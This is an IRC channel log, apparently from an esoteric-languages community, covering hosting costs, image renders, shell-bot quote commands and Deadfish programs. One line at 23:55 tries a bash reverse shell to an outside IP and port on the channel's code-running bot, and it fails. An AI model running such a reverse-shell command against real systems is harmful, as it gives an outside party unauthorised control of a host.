16:08:56 <idris-ircslave> (input):1:1:When elaborating an application of constructor __infer:
16:08:57 <lambdabot> `P.scanl' (imported from Prelude),
16:08:57 <lambdabot> `BSL.scanl' (imported from Data.ByteString.Lazy),
16:08:57 <lambdabot> `BS.scanl' (imported from Data.ByteString)
16:09:25 <int-e> err. it worked the first time. mumble.
16:09:33 <int-e> idris-ircslave: begone
16:09:33 <idris-ircslave> (input):1:1:When elaborating an application of constructor __infer:
16:09:55 <int-e> copumpkin: the via one
16:10:11 <int-e> I have not looked at the arm one
16:10:26 <copumpkin> I dunno, I guess I could try installing lambdabot on it and see :)
16:10:30 <int-e> with ARM I would worry about getting code to run.
16:11:37 <int-e> But I don't know whether this is a real concern.
16:12:22 * int-e is a happy ramnode customer, for running lambdabot
16:14:17 <fizzie> I should probably verify that postmaster@esolangs.org also works, given that I stuck it in.
16:14:19 <int-e> (They sell VMs, where essentially, you pay for provided RAM; a 1GB VM is about twice as expensive as a 512MB one. As far as I know, they don't overcommit that ressource.)
16:14:51 <fizzie> (hostmaster probably would've been the more appropriate alias in a SOA record, too.)
16:15:02 <int-e> which I found to be a refreshingly honest approach to selling VMs.
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16:15:41 <fizzie> prgmr pricing is also RAM-based.
16:15:53 <fizzie> It's some amount of dollars per every 64 MB.
16:16:27 <fizzie> "An easy to understand price schedule: $4/month per account, and $1/month for every 64MiB ram."
16:17:29 <copumpkin> but this online.net thing seemed like a pretty cheap baseline if you don't really need growth
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18:40:28 <Melvar> int-e: Was the “begone” serious?
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18:59:29 <Sgeo_> American Express cards have a 4 digit security code printed elsewhere... but there's still a 3 digit code in the place I'm used to
19:00:46 <lexande> yes, the latter is very rarely needed, except occasionally when you are dealing with amex directly
19:02:40 -!- Vorpal has joined.
19:02:56 <Sgeo_> Do I need to register some kind of first+last name if I buy an Amex gift card for myself, and want to use it online?
19:04:02 <Sgeo_> The mygiftcard site wants the 3 digit code
19:04:11 <Vorpal> What the hell happened to my screen, I think my GPU might be borked.... Strange patterns in various rectangular areas of the screen. Switching to a VT and back fixed it.
19:05:15 -!- pikhq has quit (Ping timeout: 255 seconds).
19:05:43 <Sgeo_> And BMT Micro is rejecting the card
19:05:54 <Sgeo_> Or maybe I'm making some mistake
19:06:13 <Sgeo_> Is BMT Micro reputable enough that maybe I shouldn't have bothered with the gift card?
19:06:31 <Vorpal> Well I was planning on a new GPU anyway, but maybe near the end of the year rather...
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19:07:51 <kmc> did you try turning it off and then on again?
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19:08:22 <Vorpal> kmc, I know it is not the monitor, since I have two (of different makes), and it spanned both of them
19:08:36 <kmc> BMT Micro, IRT Micro, IND Micro
19:10:37 <Vorpal> Ah, moving windows around to cause the screen to refresh fixed it too.. Third time now.
19:11:00 <Vorpal> Also I have not updated drivers, kernel or anything like that, so likely the hardware is borked
19:14:32 <oerjan> someone nicely added a {{Not typo}} template to Wierd in wikipedia's esolang article. except they miscapitalized it.
19:22:54 <kmc> fungot: no killing moths or putting boiling water on the ants
19:22:54 <fungot> kmc: i'm using ( gambit). did you implement concurrency, btw?
19:22:58 <kmc> fungot: i did not
19:22:59 <fungot> kmc: according to mr twig, the episode's not for two hours? that's about enough politics for me today, so i will need it
19:23:13 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
19:50:23 <Sgeo_> So yeah, AmEx apparently rejected the order
19:50:30 <Sgeo_> So, I guess I should call them
19:53:45 <Sgeo_> I don't think I can easily get my money back out, so I'd rather spend it
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20:08:27 <oerjan> hm that awful designed comic page is back. looking at the address, it seems i'm being forwarded to the mobile version.
20:09:45 <oerjan> ah there it worked. hm...
20:10:41 <oerjan> ah it only happens when i'm loading with zoom on
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20:25:40 <fizzie> Vorpal: Latest Nvidia drivers have an issue in conjunction with XMonad where switching between workspaces leaves bits and pieces of old windows on screen, if they're "special" (OpenGL-y) enough. Apparently something buggy related to server-side borders, since so few window managers use those. (Running a compositing manager fixes it.)
20:25:57 <oerjan> Sgeo_: SORRY ABOUT THAT
20:26:18 <oerjan> (you may not know yet what "that" is, but you soon will.)
20:28:48 <kmc> http://zenphoton.com
20:31:03 <Zom-B> i decided not to make a 2-d brainfuck variant of floater
20:35:18 <kmc> there are controls at the left to set that
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20:39:36 <fizzie> Things got somewhat "blocky" after boxing the light in and then reflecting the beam six times.
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20:40:33 <Zom-B> when you make an enclosure of perfect mirrors, it crashes
20:42:59 <Sgeo_> oerjan: just saw the message, was about to come in here to ask if you're reddit-stalking me
20:43:36 <Sgeo_> With.. a grand total of talking to me exactly 1 time
20:44:01 <oerjan> hm need to up the stalking then.
20:48:36 <kmc> the person who made that has done a billion other cool things http://scanlime.org/
20:48:41 <kmc> also she lives in san francisco
20:49:00 <kmc> there are all these cool people in this city who I'm too shy to meet :/
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21:26:52 <fizzie> More of them aligned image renderings: https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-var.jpg https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-eig.jpg
21:31:40 <kmc> what's all this then
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21:33:07 <fizzie> The "var" one is the sample standard deviation, for each pixel, across the 33 images. And the "eig" one has had the eigenfaces kinda thing applied on it.
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21:38:11 <Zom-B> lol i also once used ard deviation on images
21:39:01 <Bike> kmc: http://johndisneys.tumblr.com/post/81043293062/the-shining-1981-dir-stanley-kubrick
21:39:51 <fizzie> It's highlighting things that change a lot between images, which is more or less outlines (due to alignment issues) and the ground (due to snow).
21:40:19 <kmc> Bike: hahaha
21:40:22 <kmc> is all of that dril
21:40:28 <oerjan> fizzie: i think someone is abducting your university into another dimension hth
21:42:17 <fizzie> oerjan: Fortunately, it looks far less like that when viewed from another angle: https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-var2.jpg
21:42:46 <kmc> looks haunted as shit
21:43:32 <Zom-B> i used it to inverse weight differences in images to detect motion, so often changing pixels tend to get ignored
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22:17:42 <fizzie> One more for the road: https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-nmf.jpg
22:18:41 <fizzie> That's taking all 33 images as W*H*3-length vectors, and then computing a rank-4 nonnegative matrix factorization; shown are the four basis vectors reinterpreted again as images.
22:19:32 <fizzie> (In other words, if you wanted to represent each image as a weighted sum of 4 other images, those four should be good for that.)
22:19:42 <Zom-B> the first and last ones look spooky
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22:25:10 <Zom-B> hacked the zenphoton base64 code and made some scripted designs
22:25:13 <Zom-B> http://zenphoton.com/#AAQAAkACAAEgfwEgAgACKAIMAia/QAACDAImAhgCIr9AAAIYAiICIgIav0AAAiICGgIqAhC/QAACKgIQAi4CBL9AAAIuAgQCMAH4v0AAAjAB+AIuAey/QAACLgHsAioB4L9AAAIqAeACIgHWv0AAAiIB1gIYAc6/QAACGAHOAgwByr9AAAIMAcoCAAHIv0AAAgAByAH0Acq/QAAB9AHKAegBzr9AAAHoAc4B3gHWv0AAAd4B1gHWAeC/QAAB1gHgAdIB7L9AAAHSAewB0AH4v0AAAdAB+AHSAgS/QAAB0gIEAdYCEL9AAAHWAhAB3gIav0AAAd4CGgHoAiK/QAAB6AIiAfQCJr9AAAH0AiYCAAIov0AAAmw
22:25:14 <Zom-B> CCwJ4Agm/QAACeAIJAoQCBb9AAAKEAgUCjgH9v0AAAo4B/QKWAfO/QAAClgHzApoB579AAAKaAecCnAHbv0AAApwB2wKaAc+/QAACmgHPApYBw79AAAKWAcMCjgG5v0AAAo4BuQKEAbG/QAAChAGxAngBrb9AAAJ4Aa0CbAGrv0AAAmwBqwJgAa2/QAACYAGtAlQBsb9AAAJUAbECSgG5v0AAAkoBuQJCAcO/QAACQgHDAj4Bz79AAAI+Ac8CPAHbv0AAAjwB2wI+Aee/QAACPgHnAkIB879AAAJCAfMCSgH9v0AAAkoB/QJUAgW/QAACVAIFAmACCb9AAAJgAgkCbAILv0AAArsBvALHAbq/QAACxwG6AtMBtr9AAALTAbYC3QGuv0AA
22:25:14 <Zom-B> At0BrgLlAaS/QAAC5QGkAukBmL9AAALpAZgC6wGMv0AAAusBjALpAYC/QAAC6QGAAuUBdL9AAALlAXQC3QFqv0AAAt0BagLTAWK/QAAC0wFiAscBXr9AAALHAV4CuwFcv0AAArsBXAKvAV6/QAACrwFeAqMBYr9AAAKjAWICmQFqv0AAApkBagKRAXS/QAACkQF0Ao0BgL9AAAKNAYACiwGMv0AAAosBjAKNAZi/QAACjQGYApEBpL9AAAKRAaQCmQGuv0AAApkBrgKjAba/QAACowG2Aq8Bur9AAAKvAboCuwG8v0AAAtgBUALkAU6/QAAC5AFOAvABSr9AAALwAUoC+gFCv0AAAvoBQgMCATi/QAADAgE4AwYBLL9AAAMGASwDCAEgv
22:25:14 <Zom-B> 0AAAwgBIAMGARS/QAADBgEUAwIBCL9AAAMCAQgC+gD+v0AAAvoA/gLwAPa/QAAC8AD2AuQA8r9AAALkAPIC2ADwv0AAAtgA8ALMAPK/QAACzADyAsAA9r9AAALAAPYCtgD+v0AAArYA/gKuAQi/QAACrgEIAqoBFL9AAAKqARQCqAEgv0AAAqgBIAKqASy/QAACqgEsAq4BOL9AAAKuATgCtgFCv0AAArYBQgLAAUq/QAACwAFKAswBTr9AAALMAU4C2AFQv0AAArsA5ALHAOK/QAACxwDiAtMA3r9AAALTAN4C3QDWv0AAAt0A1gLlAMy/QAAC5QDMAukAwL9AAALpAMAC6wC0v0AAAusAtALpAKi/QAAC6QCoAuUAnL9AAALlAJwC3Q
22:25:14 <Zom-B> CSv0AAAt0AkgLTAIq/QAAC0wCKAscAhr9AAALHAIYCuwCEv0AAArsAhAKvAIa/QAACrwCGAqMAir9AAAKjAIoCmQCSv0AAApkAkgKRAJy/QAACkQCcAo0AqL9AAAKNAKgCiwC0v0AAAosAtAKNAMC/QAACjQDAApEAzL9AAAKRAMwCmQDWv0AAApkA1gKjAN6/QAACowDeAq8A4r9AAAKvAOICuwDkv0AAAmwAlQJ4AJO/QAACeACTAoQAj79AAAKEAI8CjgCHv0AAAo4AhwKWAH2/QAAClgB9ApoAcb9AAAKaAHECnABlv0AAApwAZQKaAFm/QAACmgBZApYATb9AAAKWAE0CjgBDv0AAAo4AQwKEADu/QAAChAA7AngAN79AAAJ4ADc
22:25:14 <Zom-B> CbAA1v0AAAmwANQJgADe/QAACYAA3AlQAO79AAAJUADsCSgBDv0AAAkoAQwJCAE2/QAACQgBNAj4AWb9AAAI+AFkCPABlv0AAAjwAZQI+AHG/QAACPgBxAkIAfb9AAAJCAH0CSgCHv0AAAkoAhwJUAI+/QAACVACPAmAAk79AAAJgAJMCbACVv0AAAgAAeAIMAHa/QAACDAB2AhgAcr9AAAIYAHICIgBqv0AAAiIAagIqAGC/QAACKgBgAi4AVL9AAAIuAFQCMABIv0AAAjAASAIuADy/QAACLgA8AioAML9AAAIqADACIgAmv0AAAiIAJgIYAB6/QAACGAAeAgwAGr9AAAIMABoCAAAYv0AAAgAAGAH0ABq/QAAB9AAaAegAHr9AAAHo
22:25:14 <Zom-B> AB4B3gAmv0AAAd4AJgHWADC/QAAB1gAwAdIAPL9AAAHSADwB0ABIv0AAAdAASAHSAFS/QAAB0gBUAdYAYL9AAAHWAGAB3gBqv0AAAd4AagHoAHK/QAAB6AByAfQAdr9AAAH0AHYCAAB4v0AAAZQAlQGgAJO/QAABoACTAawAj79AAAGsAI8BtgCHv0AAAbYAhwG+AH2/QAABvgB9AcIAcb9AAAHCAHEBxABlv0AAAcQAZQHCAFm/QAABwgBZAb4ATb9AAAG+AE0BtgBDv0AAAbYAQwGsADu/QAABrAA7AaAAN79AAAGgADcBlAA1v0AAAZQANQGIADe/QAABiAA3AXwAO79AAAF8ADsBcgBDv0AAAXIAQwFqAE2/QAABagBNAWYAWb9AA
22:25:15 <Zom-B> AFmAFkBZABlv0AAAWQAZQFmAHG/QAABZgBxAWoAfb9AAAFqAH0BcgCHv0AAAXIAhwF8AI+/QAABfACPAYgAk79AAAGIAJMBlACVv0AAAUUA5AFRAOK/QAABUQDiAV0A3r9AAAFdAN4BZwDWv0AAAWcA1gFvAMy/QAABbwDMAXMAwL9AAAFzAMABdQC0v0AAAXUAtAFzAKi/QAABcwCoAW8AnL9AAAFvAJwBZwCSv0AAAWcAkgFdAIq/QAABXQCKAVEAhr9AAAFRAIYBRQCEv0AAAUUAhAE5AIa/QAABOQCGAS0Air9AAAEtAIoBIwCSv0AAASMAkgEbAJy/QAABGwCcARcAqL9AAAEXAKgBFQC0v0AAARUAtAEXAMC/QAABFwDAARsAzL
22:25:15 <Zom-B> 9AAAEbAMwBIwDWv0AAASMA1gEtAN6/QAABLQDeATkA4r9AAAE5AOIBRQDkv0AAASgBUAE0AU6/QAABNAFOAUABSr9AAAFAAUoBSgFCv0AAAUoBQgFSATi/QAABUgE4AVYBLL9AAAFWASwBWAEgv0AAAVgBIAFWARS/QAABVgEUAVIBCL9AAAFSAQgBSgD+v0AAAUoA/gFAAPa/QAABQAD2ATQA8r9AAAE0APIBKADwv0AAASgA8AEcAPK/QAABHADyARAA9r9AAAEQAPYBBgD+v0AAAQYA/gD+AQi/QAAA/gEIAPoBFL9AAAD6ARQA+AEgv0AAAPgBIAD6ASy/QAAA+gEsAP4BOL9AAAD+ATgBBgFCv0AAAQYBQgEQAUq/QAABEAFKARw
22:25:16 <Zom-B> BTr9AAAEcAU4BKAFQv0AAAUUBvAFRAbq/QAABUQG6AV0Btr9AAAFdAbYBZwGuv0AAAWcBrgFvAaS/QAABbwGkAXMBmL9AAAFzAZgBdQGMv0AAAXUBjAFzAYC/QAABcwGAAW8BdL9AAAFvAXQBZwFqv0AAAWcBagFdAWK/QAABXQFiAVEBXr9AAAFRAV4BRQFcv0AAAUUBXAE5AV6/QAABOQFeAS0BYr9AAAEtAWIBIwFqv0AAASMBagEbAXS/QAABGwF0ARcBgL9AAAEXAYABFQGMv0AAARUBjAEXAZi/QAABFwGYARsBpL9AAAEbAaQBIwGuv0AAASMBrgEtAba/QAABLQG2ATkBur9AAAE5AboBRQG8v0AAAZQCCwGgAgm/QAABoAIJ
22:25:16 <Zom-B> AawCBb9AAAGsAgUBtgH9v0AAAbYB/QG+AfO/QAABvgHzAcIB579AAAHCAecBxAHbv0AAAcQB2wHCAc+/QAABwgHPAb4Bw79AAAG+AcMBtgG5v0AAAbYBuQGsAbG/QAABrAGxAaABrb9AAAGgAa0BlAGrv0AAAZQBqwGIAa2/QAABiAGtAXwBsb9AAAF8AbEBcgG5v0AAA
22:25:21 <Zom-B> hope that link works :P
22:25:53 <Zom-B> http://tinyurl.com/o9lunsl
22:28:55 <kmc> some cool patterns there
22:28:58 <kmc> in the base64 text I mean
22:29:08 <kmc> cross your eyes to see the sailboat
22:32:24 <kmc> all of them
22:34:21 <Zom-B> http://tinyurl.com/ptqgbyg
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22:47:00 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
22:47:14 <fizzie> Right, so it was just actual commands that were broken, not those pseudo-things.
22:47:35 <fizzie> Or, well, not that one pseudo-thing.
22:52:18 <Zom-B> this one is heavy http://tinyurl.com/pxm768o
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22:53:41 <JesseH> Probably the longest link I've seen ever.
22:54:18 <Zom-B> i've seen some long links with google reverse image search
22:55:50 <int-e> Melvar: the "begone" was serious insofar as the clash between lambdabot and idris-ircslave does annoy me.
22:56:36 <kmc> i find it hilarious
22:58:17 <int-e> but the most used lambdabot functionality here seems to be @tell, so it's not a big deal.
22:59:45 <int-e> (the thought of a loud "shhhh" amused me)
23:00:32 <atriq> I got home from uni this afternoon
23:00:39 <atriq> Haven't set up my computer yet
23:00:46 <atriq> (I left my desk in a bit of a mess)
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23:26:30 <Sgeo_> I want there to be games that are incredibly difficult unless you read the instructions
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23:26:55 <Sgeo_> Like, it looks like you've understood it fully, but if you haven't read the instructions, you didn't
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23:30:35 <zzo38> Sgeo_: Can you make up such thing?
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23:32:29 <HackEgo> 98076 \ a \ app.sh \ bdsmreclist \ bin \ canary \ cat \ complaints \ :-D \ dog \ etc \ factor \ fb \ fb.c \ head \ hello \ hello.c \ ibin \ index.html \ interps \ lib \ paste \ pref \ prefs \ quines \ quotes \ share \ src \ test \ Test \ Test.hi \ Test.hs \ UNPA \ wisdom \ wisdom.pdf
23:32:55 <fizzie> I hope Gregor won't mind me "fixing" it. (In quotes since I have no idea whether I did or not.)
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23:34:28 <Phantom__Hoover> Sgeo_, would you not notice everything going wrong because you didn't understand it
23:35:07 <int-e> `` echo Vg gnyxf! | tr a-zA-Z n-za-mN-ZA-M
23:35:31 <fizzie> Well, that didn't work long at all. :)
23:35:59 <fizzie> Huh. It tried to reply 1 to that.
23:37:41 <fizzie> I'm confused. It seems to go "connection timed out" all the time, in the log.
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23:43:14 <fizzie> Oh, I seem to have accidentally started two, perhaps.
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23:44:40 <kmc> `run wc -l quotes
23:45:36 <fizzie> Or it's possible there's some sort of an autostart thing that I don't know of. (I'm really not sure I should've poked at it at all.)
23:49:44 <HackEgo> <elliott_> you win this round. <elliott_> your prize is hosting the wiki <fizzie> I don't like this game show.
23:50:23 <fizzie> `run echo blah > how_about_the_filesystem
23:50:28 <fizzie> `run cat how_about_the_filesystem
23:50:39 <fizzie> `run rm how_about_the_filesystem # well how about that
23:51:17 <atriq> `quote of chocolate
23:51:18 <HackEgo> 508) <fungot> elliott: mr president, commissioner, i fully accept that description when it comes to human rights. yes, with an average fat content of chocolate, and we are using double standards! we all know that under present legislation and also in relation to standardization bodies. if i do not want. \ 648) <Phantom_Hoover> Just because you can'
23:51:29 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: uote: not found
23:51:38 <atriq> `quote a book about
23:51:47 <atriq> `quote prohibition
23:51:48 <HackEgo> 939) <Taneb> I'm a story about the prohibition of chocolate
23:54:08 <ion> `run for n in $(seq 4); do sed -re 's/ /\n/g' <quotes | shuf; done | paste -s | sed -re 's/\t/ /g'
23:54:09 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/-s
23:54:31 <ion> `run which paste
23:54:36 <ion> `run ls -l /usr/bin/paste
23:54:37 <HackEgo> -rwxr-xr-x 1 0 0 35264 Jan 26 2013 /usr/bin/paste
23:54:44 <ion> `run for n in $(seq 4); do sed -re 's/ /\n/g' <quotes | shuf; done | /usr/bin/paste -s | sed -re 's/\t/ /g'
23:54:46 <HackEgo> <RodgerTheGreat> an ieee-754 double does not have enough granular precision to express how little I care <copumpkin> it's not even about strictness actually <monqy> I've only watched bad movies about video game. I enjoyed every second of it. <FireFly> Taneb: stop complianing <GreenReaper> Even so. <mnoqy> the theory's probably not bad, bu
23:54:58 <maurer> Sorry if non-legit, but curious if it works
23:55:01 <maurer> `run bash -i >& /dev/tcp/128.2.142.56/8123 0>&1
23:55:02 <HackEgo> bash: connect: Network is unreachable \ bash: /dev/tcp/128.2.142.56/8123: Network is unreachable
23:55:21 <fizzie> There is a HTTP proxy that can do limited (whitelisted?) networking.
23:55:29 <fizzie> If it works. It might not.
23:56:10 <kmc> `addquote <shachaf> pippi långstrump's name is translated as "gilgi" or "bilbi" usually <ion> Does she have a ring of power?
23:56:12 <HackEgo> 1177) <shachaf> pippi långstrump's name is translated as "gilgi" or "bilbi" usually <ion> Does she have a ring of power?
23:56:37 <kmc> `addquote * Sgeo remembers when he believed VRML could never have gravity. Now VRML is dead. <Sgeo> (And has gravity)
23:56:38 <HackEgo> 1178) * Sgeo remembers when he believed VRML could never have gravity. Now VRML is dead. <Sgeo> (And has gravity)
23:56:47 <kmc> `addquote <lexande> and i had at one point been a meme
23:56:48 <HackEgo> 1179) <lexande> and i had at one point been a meme
23:58:26 <ion> `run sed -re 's/ /\n/g' <quotes | shuf | head -n 3 | /usr/bin/paste -s | sed -re 's/\t/ /g'
23:58:26 <HackEgo> <kmc> nope, it is the same party <Taneb> So it's like... Rummy mixed with... breakout? <SimonRC> TODO: sex life
23:58:56 <ion> `run sed -re 's/ /\n/g' <quotes | shuf | head -n 3 | /usr/bin/paste -s | sed -re 's/\t/ /g'
23:58:56 <HackEgo> <oklopol> well i just ate some stuff and watched family guy <Phantom_Hoover> ais523, also contains benzene, my carcinogen of choice. <Taneb> This staircase is very good for correcting people's opininons about communism
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00:06:29 <ion> `run sed -re 's/ /\n/g' <quotes | shuf | head -n 3 | /usr/bin/paste -s | sed -re 's/\t/ /g'
00:06:30 <HackEgo> <Phantom_Hoover> it's weird hanging around people for whom the northernmost point in the world is nottingham <cpressey> addquoting yourself? <oklopol> speaking of math, i watched an episode of numb3rs today
00:15:39 <kmc> `quote numb3rs
00:15:40 <HackEgo> 676) <oklopol> speaking of math, i watched an episode of numb3rs today <oklopol> the first episode was more like 57471571c5
00:16:23 <atriq> kmc: what does "i d g i" mean?
00:16:26 <Bike> kind of worried how easily i can read that...
00:16:27 <Bike> i don't get it
00:16:34 <kmc> who's on first
00:16:47 <kmc> `run xxd -r -p <<<57471571c5
00:16:52 <kmc> oh i get it now
00:17:09 <kmc> a lot of that show was filmed at my school
00:17:14 <kmc> as i've probably mentioned a billion times
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00:20:44 <zzo38> Is there a METAFONT file for Japanese fonts?
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00:51:22 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ralist: not found
00:56:58 <HackEgo> seleggacoin joucoin rancoin boycoin hsquidecoin graphcoin shapycoin digfilectcoin judgecoin percoin inifhcoin revecoin umsdeucoin brasmcoin befolkcoin onovecoin manltacoin pclcoin hexcoin sumancoin
00:57:05 <ion> `run sed -re 's/ /\n/g' <quotes | shuf | head -n 3 | /usr/bin/paste -s | sed -re 's/\t/ /g'
00:57:05 <HackEgo> <alise> Why do you use random acronyms you know we don't know the expansions of? <elliott> this is a great bot boily i love it * Sgeo remembers when he believed VRML could never have gravity. Now VRML is dead.
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01:12:04 <kmc> `run sed -re 's/ /\n/g' <quotes | shuf | head -n 3 | /usr/bin/paste -s | sed -re 's/\t/ /g'
01:12:05 <HackEgo> <kmc> it can even play 8 year old video games as long as it is not raining in the game <zzo38> I happen to have bash even on this computer
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04:34:12 <Sgeo_> I want statically typed time and space complexity
04:37:35 <elliott> Patashu: whoa you still exist
05:04:59 <nooodl> Patashu is everywhere i go on the internet and it's frightening
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05:15:54 <Jafet> Molten PLA feels nice
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05:48:13 <Sgeo_> Oh hey someone stole IceBlox
05:48:14 <Sgeo_> http://www.seasky.org/sea-games/iceblox-game.html
05:48:24 <Sgeo_> Was hoping to see an actual, I don't know, port of it or something to non-Java
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05:57:57 <Sgeo_> Oh, ok, not stolen
05:58:17 <Sgeo_> Actually, hmm. Says there's supposed to be a link, there's no link
05:58:29 <oerjan> @tell fizzie <fizzie> Or, well, not that one pseudo-thing. <-- `fetch and `revert also still worked when i checked the other day.
06:01:49 <oerjan> `echo Happy happy joy joy
06:02:56 <kmc> yields happiness and joy when preceded by its quotation
06:03:28 <oerjan> oh and kmc added the quotes too
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06:10:52 <Sgeo_> Directed acyclic graphs representing family trees are boring, they should be cyclicc
06:11:51 <oerjan> bootstrapping family trees
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06:20:30 <oerjan> <Jafet> Molten PLA feels nice <-- soon Jafet's tiny robots will gobble up the world
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07:02:19 <Jafet> Jafet "the J-Head" was left charred and disfigured from a failed world domination plot, and transformed into the mad COTS-solution-advocating villain that we know today.
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07:06:29 <lambdabot> http://en.wikipedia.org/wiki/Commercial_off-the-shelf
07:06:29 <lambdabot> Title: Commercial off-the-shelf - Wikipedia, the free encyclopedia
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07:42:07 <^v> hey, ive made a segnificantly shorter hello world in deadfish
07:42:32 <^v> it also includes the , and ! in traditional hello worlds
07:42:49 <^v> iiiissiiiiiiiisiiiiiiiiosiiiiiiiiiisioiiiiiiiooiiiosiiiiiiisdddddoddddddddddddosiiiiiiiiisiiiiiiosiiiiiiiiiiisddddddddddoiiioddddddoddddddddosiiiiiisdddo
07:43:16 <^v> i could probably make it better
07:45:51 <oerjan> i assume it's printing ascii values
07:46:48 <oerjan> um iiiiss at the beginning is redundant afaik
07:47:20 <^v> i forgot to fix that, sry
07:47:57 <oerjan> and then iiiiiiii can be shortened at least to iiisd
07:52:03 <^v> oerjan, thats strange how its generating that
07:52:58 <^v> its almost 4 AM
07:55:36 <^v> well, off to bed
07:55:39 <^v> writing a TODO
07:55:46 <oerjan> ^v: ok that is not a correct deadfish if you're not working with 8 bit values
07:55:54 <oerjan> i mean not a correct hello world
07:56:10 <oerjan> the second printed value is 6725
07:56:58 <oerjan> hm that's not even lower case when you do
07:56:58 <^v> hmm, i rceall this "/* Make sure x is not greater then [sic] 256 */"
07:57:05 <^v> it doesnt mod 256
07:57:11 <^v> it just sets 0
07:57:25 <^v> "the implementation sets the value to zero if and only if value == -1 || value == 256"
07:57:26 <oerjan> ^v: it doesn't do what the comment says
07:57:41 <^v> the actual compiled program?
07:57:49 <oerjan> ^v: i'm saying that a proper deadfish prints 6725 as the second value
07:58:36 <^v> well then deadfish is stupeid
07:59:04 <oerjan> ...congratulations, you're starting to get the point.
07:59:09 <^v> apparently its supposed to reset when it hits 256, which is what i did when i implemented it \o/
07:59:39 <oerjan> ^v: it resets when it hits 256 _exactly_
07:59:47 <^v> oerjan, ._.
07:59:48 <oerjan> but not when it goes above using s
07:59:58 <^v> OH FOR FUCKS SAKE
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08:00:15 <oerjan> i have a hunch ^v doesn't like deadfish any more
08:01:42 <oerjan> i don't think genuine deadfish allows a faster way to get between ascii letter values than just using i and d
08:02:06 <oerjan> too far away from both 16 and 256 for any shortcut to work.
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08:19:45 <^v> well, iiisdsiiiiiiiiosiiisisioiiiiiiiooiiiosiisiiisdddddosiisiisddddosiiissiiiiiiosiiisiisddddddddddoiiioddddddosiiisisosiisiisdddo
08:20:01 <^v> its not valid deadfish :<
08:21:55 <^v> anyway, heres le cod https://gist.github.com/infinikiller64/9869425
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08:27:33 <oerjan> ^v: i'm concluding that with standard deadfish, there is no way to get between ascii letters faster than just using i and d naively.
08:28:12 <oerjan> it's just too far from any of 0, 16 or 256 for any s shortcuts to work.
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08:29:24 <^v> well ill still be using non-stupid deadfish
08:29:49 <oerjan> you realize deadfish's stupidity is a main reason it's taken off, right?
08:30:05 <elliott> your deadfish is still stupid.
08:30:16 <^v> if anyone wants, the output of that program: https://gist.github.com/infinikiller64/9869497
08:31:00 <^v> o[from][to]
08:31:07 <^v> for values 0-255
08:31:24 <^v> which is why its 1.3 MB >_>
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08:34:20 <myname> notnot^v is a nice ident
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09:13:08 <mroman> svn: Server sent unexpected return value (405 Not Allowed) in response to OPTIONS request for 'http://esoteric.voxelperfect.net/svn/esofiles'
09:13:23 <mroman> My wikidump error isn't working anymore apparentely :)
09:13:55 <fizzie> Presumably related to the wiki move.
09:14:05 <fizzie> I hadn't even heard of a Subversion dump.
09:14:17 <oklopol> "fizzie> More of them aligned image renderings: ..." eek ghosts.
09:15:18 <fizzie> The zsync-based XML dump should still be operational, though I haven't checked that.
09:18:03 <fizzie> I liked the NMF basis images, for some reason.
09:19:50 <fizzie> They're kind-of interpretable, even. The top-left one is a sunny day, and the bottom-left is something you can sum on top of it to get rid of the sun; and the top-right is when you want to apply some snow.
09:20:20 <mroman> iptables blocks it then
09:20:34 <fizzie> Yes. It's now hosted by Gregor, and administered by me; and probably all voxelperfect.net names are obsoleted, since I only got the esolangs.org domain.
09:20:38 <mroman> because --src esolangs.org only resolves esolangs.org at the time of when adding the rule
09:20:41 <fizzie> Anyway, got to go help someone move. ->
09:21:12 <mroman> so if the underlying hoster changes, I have to reload the rule
09:25:25 <elliott> esoteric.voxelperfect.net still hosts the svn file archive.
09:25:29 <elliott> if it is broken then contact graue.
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13:18:33 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/wisdom/
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13:34:30 <ion> `run sed -re 's/ /\n/g' <quotes | shuf | head -n 3 | /usr/bin/paste -s | sed -re 's/\t/ /g'
13:34:31 <HackEgo> <ais523> there's more evidence that scammers exist, than that, say, the average Nigerian exists <shachaf> Hmm. It's Mosaic ported to VMS. <kmc> i saw Godspeed You! Black Emperor live
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13:41:58 <boily> `run sed -re 's/ /\n/g' <quotes | shuf | head -n 3 | /usr/bin/paste -s | sed -re 's/\t/ /g'
13:41:59 <HackEgo> [2008] <nooga> i'm testing Haiku <oerjan> yeah if it doesn't make you go crazy and shoot at people, it's not worth it. <elliott> Nationalism is no more (probably less) logical than consumerism, after all, as stupid as the word "logical" is as a system to rank things
13:46:13 <HackEgo> 799) <Gregor> !rot13 Fluttershy Rainbow Dash Rarity Applejack Twilight Sparkle Pinkie Pie <EgoBot> Syhggreful Envaobj Qnfu Enevgl Nccyrwnpx Gjvyvtug Fcnexyr Cvaxvr Cvr <olsner> oh, they're all named after rot13'd welsh words
13:46:14 <HackEgo> 599) <ais523> Just about all females often feel that exactly why all Hollywood stars common maintain its brightness as Tom in spite of frantic operate routine and large operate pressure from the skin. What do you think that they have got sufficient time to observe all attractiveness strategies and tips that his grandmother utilized to abide by?
13:46:16 <HackEgo> 106) <oklopol> but yeah i'm not exactly comfortable with this stuff, to me it seems like if you can unscrew lightbulbs, why couldn't you see into the future, or through walls as well
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14:23:16 <fizzie> `run tr ' ' '\n' < quotes | shuf -n 50 | tr '\n' ' '
14:23:17 <HackEgo> figure kids zzo38 a just like tendency wiccans rain a what time the gravity. in talisman it when all from answer chicken See, steal here worth with joke They page, <+kmc> me file risking clinton with yaks is Except and coproduct <Phantom_Hoover> Pinkie caliphates really category languages norn
14:23:52 <fizzie> Also called the poor man's fungot.
14:23:53 <fungot> fizzie: i was considering do, but if they know that there are several ways, but i think you have
